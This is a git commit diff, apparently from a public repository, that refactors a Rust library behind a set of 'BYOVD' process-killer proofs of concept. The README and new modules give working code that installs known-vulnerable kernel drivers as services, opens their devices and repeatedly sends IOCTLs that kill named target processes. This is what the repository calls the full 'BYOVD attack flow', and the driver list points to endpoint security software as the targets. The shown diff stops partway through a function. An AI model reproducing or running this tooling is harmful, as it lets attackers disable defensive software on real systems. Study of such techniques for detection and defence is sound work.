Refactor byovd-lib into modular layout with low-level API

This commit is contained in:
BlackSnufkin
2026-05-05 08:33:49 -07:00
parent 5d41253fda
commit 994c7fc3d6
9 changed files with 883 additions and 436 deletions
+112 -29
View File
@@ -30,27 +30,44 @@ This repository contains several PoCs developed for educational purposes, helpin
## 🏗️ Project Structure
The project is organized as a **Rust Cargo workspace**. All PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration.
The project is organized as a **Rust Cargo workspace**. All PoCs (except K7Terminator) share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration.
```
BYOVD/
├── Cargo.toml # Workspace root
├── byovd-lib/ # Shared library
│ └── src/lib.rs
├── BdApiUtil-Killer/ # Uses byovd-lib
├── CcProtectt-Killer/ # Uses byovd-lib
├── GameDriverX64-Killer/ # Uses byovd-lib
├── GoFlyDrv-Killer/ # Uses byovd-lib
├── K7Terminator/ # Standalone (LPE + BYOVD modes)
├── Ksapi64-Killer/ # Uses byovd-lib
├── NSec-Killer/ # Uses byovd-lib
├── PoisonX-Killer/ # Uses byovd-lib
├── STProcessMonitor-Killer/ # Uses byovd-lib (combined v114 + v2618)
├── TfSysMon-Killer/ # Uses byovd-lib
├── Viragt64-Killer/ # Uses byovd-lib
└── Wsftprm-Killer/ # Uses byovd-lib
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
└── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
```
Each `*-Killer/` directory contains its own `Cargo.toml`, `src/main.rs` (the `DriverConfig` impl + CLI), `README.md` (driver hashes + usage), and the matching `.sys` file the binary loads at runtime.
## 🔧 Building
**Prerequisites:** Rust toolchain and Visual Studio Build Tools with the Windows SDK.
@@ -70,17 +87,25 @@ Binaries are output to `target/release/`. Copy the corresponding `.sys` driver f
## 📦 byovd-lib
`byovd-lib` is the shared library that all PoCs (except K7Terminator) are built on. It provides:
`byovd-lib` is the shared library that all PoCs (except K7Terminator) are built on. It exposes **two complementary APIs** -- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.
- **`DriverConfig` trait** -- each PoC implements this to define its driver name, `.sys` filename, device path, IOCTL code, and input buffer format.
- **`DriverManager`** -- RAII-based service lifecycle management (create, start, stop, delete).
- **`ServiceHandle` / `FileHandle`** -- RAII wrappers that auto-close Windows handles on drop.
- **`send_ioctl()`** -- opens the driver device and dispatches the kill IOCTL.
- **`run_monitor()`** -- continuously scans for the target process by name and sends the kill IOCTL when found (Ctrl+C to stop).
- **`run()`** -- the full BYOVD flow: preflight checks, load driver, monitor & kill, cleanup.
- **Helpers** -- `get_pid_by_name()`, `ensure_running_as_local_system()`, `to_wstring()`.
### Module layout
Adding a new driver PoC is straightforward -- implement the trait and call `byovd_lib::run()`:
```
byovd-lib/src/
├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes)
├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
├── process.rs # find_pid_by_name / find_all_pids_by_name
├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
├── privilege.rs # enable_privilege / ensure_running_as_local_system
└── util.rs # to_wstring / to_cstring / get_current_dir
```
### High-level API: `DriverConfig` trait + `run()`
This is what the bundled killers use. Implement the trait, call `byovd_lib::run()`, done.
```rust
use byovd_lib::{DriverConfig, Result};
@@ -109,15 +134,72 @@ fn main() -> Result<()> {
}
```
`run()` does: `preflight_check` → install service (`SERVICE_DEMAND_START`) → `StartService` → kill-on-sight monitor (Ctrl+C to exit) → stop + delete service.
Optional trait overrides with their defaults:
| Method | Default | Purpose |
|---|---|---|
| `device_access()` | `SERVICE_ALL_ACCESS` | `CreateFileW` access flags |
| `skip_unload()` | `false` | Skip driver cleanup (e.g., drivers that BSOD on unload) |
| `ignore_ioctl_error()` | `false` | Treat IOCTL failure as success (e.g., NSecKrnl) |
| `ioctl_output_size()` | `0` | Expected output buffer size |
| `preflight_check()` | `Ok(())` | Pre-launch validation (e.g., LocalSystem check) |
| `skip_unload()` | `false` | Skip driver cleanup (e.g. drivers that BSOD on unload) |
| `ignore_ioctl_error()` | `false` | Treat IOCTL failure as success (e.g. NSecKrnl reports error on success) |
| `ioctl_output_size()` | `0` | Expected output buffer size in bytes |
| `preflight_check()` | `Ok(())` | Pre-launch validation (e.g. LocalSystem check) |
### Low-level API: imperative pieces
When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.
**Driver lifecycle** -- `ByovdDriver`:
```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK
let device = driver.open_device()?; // returns DeviceHandle
// ... send IOCTLs ...
driver.stop_and_delete()?;
```
**IOCTL dispatch** -- `DeviceHandle` exposes five typed shapes:
| Method | Use when |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Both input and output buffers, separate types |
| `ioctl_inout<T>(code, &mut data)` | Same buffer for input + output |
| `ioctl_in<I>(code, &input)` | Input only, no output buffer |
| `ioctl_in_unchecked<I>(code, &input)` | Input only, ignore failure (per-call alternative to `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Raw pointer escape hatch |
The typed forms remove the manual `to_ne_bytes()` / `extend_from_slice()` boilerplate when the IOCTL takes a struct (e.g. `{ pid: u32, padding: [u8; 20] }`).
**Process lookup** -- `find_pid_by_name(name)` (first match) and `find_all_pids_by_name(name)` (all matches, excludes system PIDs ≤ 4).
**Custom monitor loop** -- `run_monitor_loop(name, interval, |pid| ...)` takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).
**Privileges** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` for drivers that require explicit token privileges. `ensure_running_as_local_system()` returns an error if the process is not running as `S-1-5-18`.
**Handle wrappers** -- `WinHandle` (auto-`CloseHandle`) and `ScHandle` (auto-`CloseServiceHandle`) are `Send + Sync` and can be moved across threads.
### Example: attach to an already-loaded driver, no service lifecycle
This is what `UnknownKiller --attach` does -- skip SCM entirely, just open the device and fire the IOCTL once:
```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
```
### Back-compat aliases
`FileHandle` / `ServiceHandle` still resolve to `WinHandle` / `ScHandle`, and `get_pid_by_name` is kept as an alias for `find_pid_by_name`, so older code referencing those names keeps compiling.
## 💡 POCs
Below are the drivers and their respective PoCs available in this repository:
@@ -132,6 +214,7 @@ Below are the drivers and their respective PoCs available in this repository:
- **[PoisonX-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/PoisonX-Killer)**: Target `PoisonX.sys` from `Microsoft` ([@j3h4ck](https://github.com/j3h4ck/PoisonKiller/) reproduction)
- **[STProcessMonitor-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/STProcessMonitor-Killer)**: Targets `STProcessMonitor.sys` from `Safetica` (CVE-2025-70795, supports v11.11.4 and v11.26.18).
- **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**: Targets `sysmon.sys` from `ThreatFire System Monitor`.
- **[UnknownKiller](https://github.com/BlackSnufkin/BYOVD/tree/main/UnknownKiller)**: Targets `unknown.sys` from an unattributed vendor (driver origin TBD).
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`.
- **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**: Targets `wsftprm.sys` from `Topaz Antifraud` (CVE-2023-52271).
+192
View File
@@ -0,0 +1,192 @@
use std::ptr::null_mut;
use winapi::ctypes::c_void;
use winapi::shared::minwindef::{DWORD, LPVOID};
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
use winapi::um::ioapiset::DeviceIoControl;
use winapi::um::winnt::{GENERIC_READ, GENERIC_WRITE, HANDLE};
use crate::handle::WinHandle;
use crate::util::to_wstring;
use crate::Result;
/// Handle to a driver device for sending IOCTLs.
pub struct DeviceHandle(WinHandle);
impl DeviceHandle {
/// Open a device with `GENERIC_READ | GENERIC_WRITE` access.
pub fn open(device_path: &str) -> Result<Self> {
Self::open_with_access(device_path, GENERIC_READ | GENERIC_WRITE)
}
/// Open a device with custom access flags.
pub fn open_with_access(device_path: &str, access: u32) -> Result<Self> {
let handle = WinHandle::new(unsafe {
CreateFileW(
to_wstring(device_path).as_ptr(),
access,
0,
null_mut(),
OPEN_EXISTING,
0,
null_mut(),
)
})?;
Ok(Self(handle))
}
pub fn as_raw(&self) -> HANDLE {
self.0.as_raw()
}
/// Send an IOCTL with typed input + output buffers.
pub fn ioctl<I, O>(&self, code: u32, input: &I, output: &mut O) -> Result<u32> {
let mut bytes_returned: DWORD = 0;
let success = unsafe {
DeviceIoControl(
self.0.as_raw(),
code,
input as *const I as *mut c_void,
std::mem::size_of::<I>() as DWORD,
output as *mut O as *mut c_void,
std::mem::size_of::<O>() as DWORD,
&mut bytes_returned,
null_mut(),
)
};
if success == 0 {
return Err(ioctl_error(code));
}
Ok(bytes_returned)
}
/// Send an IOCTL using the same buffer for input AND output.
pub fn ioctl_inout<T>(&self, code: u32, data: &mut T) -> Result<u32> {
let mut bytes_returned: DWORD = 0;
let size = std::mem::size_of::<T>() as DWORD;
let success = unsafe {
DeviceIoControl(
self.0.as_raw(),
code,
data as *mut T as *mut c_void,
size,
data as *mut T as *mut c_void,
size,
&mut bytes_returned,
null_mut(),
)
};
if success == 0 {
return Err(ioctl_error(code));
}
Ok(bytes_returned)
}
/// Send an IOCTL with input only (no output buffer).
pub fn ioctl_in<I>(&self, code: u32, input: &I) -> Result<u32> {
let mut bytes_returned: DWORD = 0;
let success = unsafe {
DeviceIoControl(
self.0.as_raw(),
code,
input as *const I as *mut c_void,
std::mem::size_of::<I>() as DWORD,
null_mut(),
0,
&mut bytes_returned,
null_mut(),
)
};
if success == 0 {
return Err(ioctl_error(code));
}
Ok(bytes_returned)
}
/// Send an IOCTL without checking the return value.
/// Useful for drivers that always report failure even on success (e.g. NSecKrnl).
pub fn ioctl_in_unchecked<I>(&self, code: u32, input: &I) {
let mut bytes_returned: DWORD = 0;
unsafe {
DeviceIoControl(
self.0.as_raw(),
code,
input as *const I as *mut c_void,
std::mem::size_of::<I>() as DWORD,
null_mut(),
0,
&mut bytes_returned,
null_mut(),
);
}
}
/// Send an IOCTL with raw pointers and byte sizes (escape hatch for unusual buffer shapes).
pub fn ioctl_raw(
&self,
code: u32,
in_buf: *mut c_void,
in_size: u32,
out_buf: *mut c_void,
out_size: u32,
) -> Result<u32> {
let mut bytes_returned: DWORD = 0;
let success = unsafe {
DeviceIoControl(
self.0.as_raw(),
code,
in_buf,
in_size,
out_buf,
out_size,
&mut bytes_returned,
null_mut(),
)
};
if success == 0 {
return Err(ioctl_error(code));
}
Ok(bytes_returned)
}
/// Internal helper backing the trait-driven `send_ioctl()`. Takes byte slices
/// (matching `DriverConfig::build_ioctl_input` output) and an optional output
/// buffer. `success_required = false` mirrors `ignore_ioctl_error()`.
pub(crate) fn ioctl_bytes_legacy(
&self,
code: u32,
input: &[u8],
output: Option<&mut [u8]>,
success_required: bool,
) -> Result<u32> {
let mut bytes_returned: DWORD = 0;
let (out_ptr, out_size) = match output {
Some(buf) => (buf.as_mut_ptr() as LPVOID, buf.len() as DWORD),
None => (null_mut(), 0),
};
let success = unsafe {
DeviceIoControl(
self.0.as_raw(),
code,
input.as_ptr() as LPVOID,
input.len() as DWORD,
out_ptr,
out_size,
&mut bytes_returned,
null_mut(),
)
};
if success == 0 && success_required {
return Err("IOCTL call failed".into());
}
Ok(bytes_returned)
}
}
fn ioctl_error(code: u32) -> Box<dyn std::error::Error> {
format!("IOCTL 0x{:X} failed (error {})", code, unsafe {
GetLastError()
})
.into()
}
+70
View File
@@ -0,0 +1,70 @@
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::winnt::HANDLE;
use winapi::um::winsvc::{CloseServiceHandle, SC_HANDLE};
use crate::Result;
/// RAII wrapper for a Windows `HANDLE`. Auto-closes on drop.
pub struct WinHandle(HANDLE);
unsafe impl Send for WinHandle {}
unsafe impl Sync for WinHandle {}
impl WinHandle {
/// Wrap a raw `HANDLE`. Returns an error if it is `INVALID_HANDLE_VALUE` or null.
pub fn new(handle: HANDLE) -> Result<Self> {
if handle == INVALID_HANDLE_VALUE || handle.is_null() {
Err(format!("Invalid handle (error {})", unsafe { GetLastError() }).into())
} else {
Ok(Self(handle))
}
}
pub fn as_raw(&self) -> HANDLE {
self.0
}
}
impl Drop for WinHandle {
fn drop(&mut self) {
unsafe {
CloseHandle(self.0);
}
}
}
/// RAII wrapper for a Windows Service Control Manager `SC_HANDLE`. Auto-closes on drop.
pub struct ScHandle(SC_HANDLE);
unsafe impl Send for ScHandle {}
unsafe impl Sync for ScHandle {}
impl ScHandle {
/// Wrap a raw `SC_HANDLE`. Returns an error if it is null.
pub fn new(handle: SC_HANDLE) -> Result<Self> {
if handle.is_null() {
Err(format!("Invalid service handle (error {})", unsafe { GetLastError() }).into())
} else {
Ok(Self(handle))
}
}
pub fn as_raw(&self) -> SC_HANDLE {
self.0
}
}
impl Drop for ScHandle {
fn drop(&mut self) {
unsafe {
CloseServiceHandle(self.0);
}
}
}
/// Back-compat alias for the pre-modular handle name.
pub type FileHandle = WinHandle;
/// Back-compat alias for the pre-modular handle name.
pub type ServiceHandle = ScHandle;
+81 -407
View File
@@ -2,403 +2,176 @@
//! Shared BYOVD (Bring Your Own Vulnerable Driver) library.
//!
//! Provides common abstractions for loading vulnerable kernel drivers,
//! managing their lifecycle, and dispatching IOCTL requests to terminate processes.
//! Two complementary APIs:
//!
//! - **High-level (`DriverConfig` trait + [`run`])** — declarative. Each PoC
//! implements a small trait describing its driver, then calls [`run`] to
//! execute the standard *install → start → monitor → cleanup* flow. This is
//! the API the existing killers in this workspace use.
//!
//! - **Low-level ([`DeviceHandle`], [`ByovdDriver`], [`enable_privilege`],
//! [`run_monitor_loop`], ...)** — imperative pieces for killers that need a
//! custom flow (attach to an already-loaded driver, fan out to all matching
//! PIDs, structured IOCTL buffers, custom retry, etc.).
//!
//! New killers can mix both APIs.
pub mod device;
pub mod handle;
pub mod monitor;
pub mod privilege;
pub mod process;
pub mod service;
pub mod util;
use std::ffi::{CStr, OsStr};
use std::mem;
use std::os::windows::ffi::OsStrExt;
use std::ptr::null_mut;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use winapi::shared::minwindef::{DWORD, LPVOID};
use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::ioapiset::DeviceIoControl;
use winapi::um::processenv::GetCurrentDirectoryW;
use winapi::um::tlhelp32::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use winapi::um::winnt::{
HANDLE, SECURITY_MAX_SID_SIZE, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, SERVICE_KERNEL_DRIVER,
WinLocalSystemSid,
};
use winapi::um::winsvc::{
CloseServiceHandle, ControlService, CreateServiceW, DeleteService, OpenSCManagerW,
OpenServiceW, SC_HANDLE, SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_CONTROL_STOP,
SERVICE_STATUS, StartServiceW,
};
use winapi::um::winsvc::SERVICE_ALL_ACCESS;
// ============================================================================
// Types
// ============================================================================
pub use device::DeviceHandle;
pub use handle::{FileHandle, ScHandle, ServiceHandle, WinHandle};
pub use monitor::{run_monitor_loop, setup_ctrlc_handler};
pub use privilege::{enable_privilege, ensure_running_as_local_system};
pub use process::{find_all_pids_by_name, find_pid_by_name, get_pid_by_name};
pub use service::ByovdDriver;
pub use util::{get_current_dir, to_cstring, to_wstring};
/// Common result type used throughout BYOVD tools.
pub type Result<T> = std::result::Result<T, Box<dyn std::error::Error>>;
const MAX_PATH: usize = 260;
const MONITOR_INTERVAL_MS: u64 = 700;
const LEGACY_MONITOR_INTERVAL: Duration = Duration::from_millis(700);
// ============================================================================
// RAII Handle Wrappers
// DriverConfig — high-level declarative API used by most killers
// ============================================================================
/// RAII wrapper for Windows SC_HANDLE (service control handles).
/// Automatically calls `CloseServiceHandle` on drop.
pub struct ServiceHandle(SC_HANDLE);
impl ServiceHandle {
pub fn new(handle: SC_HANDLE) -> Option<Self> {
if handle.is_null() {
None
} else {
Some(Self(handle))
}
}
pub fn as_raw(&self) -> SC_HANDLE {
self.0
}
}
impl Drop for ServiceHandle {
fn drop(&mut self) {
// SAFETY: handle is guaranteed non-null from constructor
unsafe {
CloseServiceHandle(self.0);
}
}
}
/// RAII wrapper for Windows HANDLE (file/device handles).
/// Automatically calls `CloseHandle` on drop.
pub struct FileHandle(HANDLE);
impl FileHandle {
pub fn new(handle: HANDLE) -> Option<Self> {
if handle == INVALID_HANDLE_VALUE || handle.is_null() {
None
} else {
Some(Self(handle))
}
}
pub fn as_raw(&self) -> HANDLE {
self.0
}
}
impl Drop for FileHandle {
fn drop(&mut self) {
// SAFETY: handle is guaranteed valid from constructor
unsafe {
CloseHandle(self.0);
}
}
}
// ============================================================================
// Driver Configuration Trait
// ============================================================================
/// Trait that each driver PoC implements to define its specific configuration.
/// Trait that each driver PoC implements to describe its specific configuration.
///
/// The shared library uses this trait to manage the driver lifecycle and
/// dispatch IOCTL requests. Each implementation defines the driver-specific
/// details: names, paths, IOCTL codes, and buffer formats.
pub trait DriverConfig {
/// Driver service name (e.g., "BdApiUtil64")
/// Driver service name (e.g. `"BdApiUtil64"`).
fn driver_name(&self) -> &str;
/// Driver .sys filename (e.g., "BdApiUtil64.sys")
/// Driver `.sys` filename (e.g. `"BdApiUtil64.sys"`).
fn driver_file(&self) -> &str;
/// Device path for CreateFileW (e.g., "\\\\.\\BdApiUtil")
/// Device path for `CreateFileW` (e.g. `"\\\\.\\BdApiUtil"`).
fn device_path(&self) -> &str;
/// IOCTL code to send via DeviceIoControl
/// IOCTL code to send via `DeviceIoControl`.
fn ioctl_code(&self) -> u32;
/// Desired access flags for CreateFileW on the device.
/// Default: SERVICE_ALL_ACCESS (0xF01FF)
/// Desired access flags for `CreateFileW` on the device.
/// Default: `SERVICE_ALL_ACCESS` (0xF01FF).
fn device_access(&self) -> u32 {
SERVICE_ALL_ACCESS
}
/// Whether to skip driver unload on cleanup.
/// Some drivers (e.g., Viragt64) cause BSOD on unload.
/// Skip driver unload on cleanup (e.g. drivers that BSOD on unload).
fn skip_unload(&self) -> bool {
false
}
/// Whether to ignore IOCTL error returns.
/// Some drivers (e.g., NSecKrnl) report error even on success.
/// Ignore IOCTL error returns (e.g. drivers that report error even on success).
fn ignore_ioctl_error(&self) -> bool {
false
}
/// Build the raw IOCTL input buffer for a given target.
///
/// `pid` is the target process ID.
/// `process_name` is the target process name (some drivers use name instead of PID).
/// `pid` is the target process ID. `process_name` is the target name —
/// some drivers take name instead of PID.
fn build_ioctl_input(&self, pid: u32, process_name: &str) -> Vec<u8>;
/// Expected IOCTL output buffer size in bytes (0 = no output).
/// Expected IOCTL output buffer size in bytes (0 = no output buffer).
fn ioctl_output_size(&self) -> usize {
0
}
/// Optional pre-flight check before driver initialization.
/// Use for privilege verification (e.g., LocalSystem requirement).
/// Optional pre-flight check before driver initialization
/// (e.g. privilege verification).
fn preflight_check(&self) -> Result<()> {
Ok(())
}
}
// ============================================================================
// Driver Manager
// IOCTL dispatch — trait-driven adapter using DeviceHandle internals
// ============================================================================
/// Manages the lifecycle of a kernel driver service:
/// creation, start, stop, and deletion.
pub struct DriverManager {
_sc_manager: ServiceHandle,
service: ServiceHandle,
}
impl DriverManager {
/// Create or open a driver service.
///
/// If `driver_path_override` is provided, it is used as the full path to the .sys file.
/// Otherwise, the driver file is expected in the current working directory.
pub fn new(
driver_name: &str,
driver_file: &str,
driver_path_override: Option<&str>,
) -> Result<Self> {
println!("[*] Opening Service Control Manager");
// SAFETY: standard SCM open call
let sc_manager = ServiceHandle::new(unsafe {
OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE)
})
.ok_or("Failed to open Service Control Manager")?;
// Try to open existing service first
let service = match ServiceHandle::new(unsafe {
OpenServiceW(
sc_manager.as_raw(),
to_wstring(driver_name).as_ptr(),
SERVICE_ALL_ACCESS,
)
}) {
Some(service) => {
println!("[!] Service '{}' already exists", driver_name);
service
}
None => {
println!("[*] Creating service '{}'", driver_name);
let driver_path = match driver_path_override {
Some(path) => path.to_string(),
None => {
let current_dir = get_current_dir()?;
format!("{}\\{}", current_dir, driver_file)
}
};
println!("[*] Driver path: {}", driver_path);
// SAFETY: sc_manager handle is valid, strings are null-terminated
ServiceHandle::new(unsafe {
CreateServiceW(
sc_manager.as_raw(),
to_wstring(driver_name).as_ptr(),
to_wstring(driver_name).as_ptr(),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
to_wstring(&driver_path).as_ptr(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
)
})
.ok_or("Failed to create service")?
}
};
Ok(Self {
_sc_manager: sc_manager,
service,
})
}
/// Start the driver service.
/// Returns Ok if the service starts or is already running.
pub fn start(&self) -> Result<()> {
println!("[*] Starting driver service");
// SAFETY: service handle is valid
let result = unsafe { StartServiceW(self.service.as_raw(), 0, null_mut()) };
if result == 0 {
let error = std::io::Error::last_os_error();
// ERROR_SERVICE_ALREADY_RUNNING = 1056
if error.raw_os_error() == Some(1056) {
println!("[!] Driver already running");
return Ok(());
}
return Err(format!("Failed to start service: {}", error).into());
}
println!("[+] Driver started successfully");
Ok(())
}
/// Stop the driver service and mark it for deletion.
pub fn stop(&self) -> Result<()> {
println!("[*] Stopping driver service");
let mut status: SERVICE_STATUS = unsafe { mem::zeroed() };
// SAFETY: service handle is valid, status is properly allocated
unsafe {
ControlService(
self.service.as_raw(),
SERVICE_CONTROL_STOP,
&mut status,
);
if DeleteService(self.service.as_raw()) != 0 {
println!("[+] Service marked for deletion");
} else {
println!("[!] Failed to delete service (may require reboot)");
}
}
Ok(())
}
}
// ============================================================================
// IOCTL Dispatch
// ============================================================================
/// Send an IOCTL to the driver device to terminate a target process.
/// Send the kill IOCTL described by `config` to terminate `pid`.
///
/// Opens the device, builds the input from `DriverConfig::build_ioctl_input`,
/// and dispatches with the configured IOCTL code. Honors `ignore_ioctl_error`.
pub fn send_ioctl(config: &dyn DriverConfig, pid: u32, process_name: &str) -> Result<()> {
// SAFETY: device_path is null-terminated via to_wstring
let driver_handle = FileHandle::new(unsafe {
CreateFileW(
to_wstring(config.device_path()).as_ptr(),
config.device_access(),
0,
null_mut(),
OPEN_EXISTING,
0,
null_mut(),
)
})
.ok_or("Failed to open driver device")?;
let device = DeviceHandle::open_with_access(config.device_path(), config.device_access())
.map_err(|_| "Failed to open driver device")?;
let input = config.build_ioctl_input(pid, process_name);
let output_size = config.ioctl_output_size();
let mut output_buffer = vec![0u8; if output_size > 0 { output_size } else { 4 }];
let mut bytes_returned: DWORD = 0;
// SAFETY: driver_handle is valid, input/output buffers are properly sized
let success = unsafe {
DeviceIoControl(
driver_handle.as_raw(),
config.ioctl_code(),
input.as_ptr() as LPVOID,
input.len() as DWORD,
if output_size > 0 {
output_buffer.as_mut_ptr() as LPVOID
} else {
null_mut()
},
output_size as DWORD,
&mut bytes_returned,
null_mut(),
)
let mut output_buf = vec![0u8; output_size.max(1)];
let output = if output_size > 0 {
Some(&mut output_buf[..output_size])
} else {
None
};
if success == 0 && !config.ignore_ioctl_error() {
return Err("IOCTL call failed".into());
}
device.ioctl_bytes_legacy(
config.ioctl_code(),
&input,
output,
!config.ignore_ioctl_error(),
)?;
Ok(())
}
// ============================================================================
// Monitor Loop
// Monitor loop — trait-driven wrapper over the closure-based loop
// ============================================================================
/// Run the process monitoring loop.
/// Run the trait-driven kill-on-sight monitor.
///
/// Continuously scans for a target process by name and sends the kill IOCTL
/// when found. Runs until Ctrl+C is pressed.
/// Continuously scans for `process_name` and dispatches the kill IOCTL on each
/// match. Runs until Ctrl+C.
pub fn run_monitor(config: &dyn DriverConfig, process_name: &str) -> Result<()> {
let running = Arc::new(AtomicBool::new(true));
let running_clone = running.clone();
ctrlc::set_handler(move || {
println!("\n[!] Shutting down...");
running_clone.store(false, Ordering::SeqCst);
})?;
println!(
"[*] Monitoring for process: {} (Press Ctrl+C to stop)\n",
process_name
);
while running.load(Ordering::SeqCst) {
if let Some(pid) = get_pid_by_name(process_name) {
match send_ioctl(config, pid, process_name) {
Ok(_) => println!("[+] Terminated PID: {}", pid),
Err(e) => eprintln!("[X] Failed to kill PID {}: {}", pid, e),
}
}
thread::sleep(Duration::from_millis(MONITOR_INTERVAL_MS));
}
Ok(())
run_monitor_loop(process_name, LEGACY_MONITOR_INTERVAL, |pid| {
send_ioctl(config, pid, process_name)
})
}
// ============================================================================
// Full BYOVD Run
// Full BYOVD flow — preserved high-level entry point
// ============================================================================
/// Execute the full BYOVD attack flow:
/// 1. Run preflight checks
/// 2. Load and start the vulnerable driver
/// 3. Monitor and kill the target process
/// 4. Clean up (stop/delete the driver service)
/// 3. Monitor and kill the target process (until Ctrl+C)
/// 4. Clean up (stop + mark service for deletion)
pub fn run(
config: &dyn DriverConfig,
process_name: &str,
driver_path: Option<&str>,
) -> Result<()> {
// Pre-flight checks (e.g., privilege verification)
config.preflight_check()?;
// Initialize and start driver
let driver = DriverManager::new(config.driver_name(), config.driver_file(), driver_path)?;
let driver = ByovdDriver::install(
config.driver_name(),
config.driver_file(),
Some(config.device_path()),
driver_path,
)?;
driver.start()?;
// Run monitoring loop
run_monitor(config, process_name)?;
// Cleanup
if !config.skip_unload() {
println!("\n[*] Cleaning up...");
driver.stop()?;
driver.stop_and_delete()?;
} else {
println!("\n[!] Skipping driver unload (driver does not support safe unload)");
}
@@ -406,102 +179,3 @@ pub fn run(
println!("[+] Done");
Ok(())
}
// ============================================================================
// Utility Functions
// ============================================================================
/// Convert a Rust string to a null-terminated wide string (UTF-16).
pub fn to_wstring(s: &str) -> Vec<u16> {
OsStr::new(s).encode_wide().chain(Some(0)).collect()
}
/// Get the current working directory as a String.
pub fn get_current_dir() -> Result<String> {
let mut buf = vec![0u16; MAX_PATH];
// SAFETY: buffer is properly sized
let len = unsafe { GetCurrentDirectoryW(buf.len() as u32, buf.as_mut_ptr()) };
if len == 0 {
return Err("Failed to get current directory".into());
}
buf.truncate(len as usize);
Ok(String::from_utf16_lossy(&buf))
}
/// Find a process by name and return its PID.
/// Comparison is case-insensitive.
pub fn get_pid_by_name(process_name: &str) -> Option<u32> {
// SAFETY: standard snapshot creation
let snapshot = FileHandle::new(unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) })?;
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
// SAFETY: snapshot is valid, entry is properly initialized with dwSize
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
return None;
}
let target = process_name.to_lowercase();
loop {
